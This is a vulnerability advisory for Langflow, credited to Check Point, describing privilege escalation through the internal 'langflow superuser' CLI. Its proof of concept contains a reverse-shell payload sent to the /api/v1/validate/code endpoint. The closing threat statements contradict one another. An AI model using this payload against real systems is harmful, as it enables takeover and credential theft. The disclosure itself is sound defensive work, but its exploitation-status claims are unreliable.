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PYSEC-2026-1526
langflow-baseThis vulnerability was discovered by researchers at Check Point. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.
Summary
A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.
Details
Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:
langflow superuser
This command allows creation of a new superuser without checking whether one already exists.
When combined with code execution (e.g., via the authenticated /api/v1/validate/code endpoint), a low-privileged user can execute:
/app/.venv/bin/langflow superuser
inside the container, and elevate themselves to full superuser privileges.
This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.
PoC
- Start container with LANGFLOW_ENABLE_AUTH set to True.
- Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)
- Exploit /api/v1/validate/code to get reverse shell
Send an authenticated POST request:
{
"code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n pass"
}
- Inside reverse shell, create superuser:
- Log into UI as new superuser:
Impact
- Privilege escalation to superuser — complete takeover of the Langflow instance
- Access to all user data, flows, stored credentials, and configuration
- Credential leakage — attacker can extract third-party API keys
- Exposure of environment variables (inside docker container)
- Ability to run additional Langflow instances via
langflow runinside the container, which may lead to resource exhaustion (CPU, memory) and service degradation. - Full user management — superuser can delete other users, reset their passwords
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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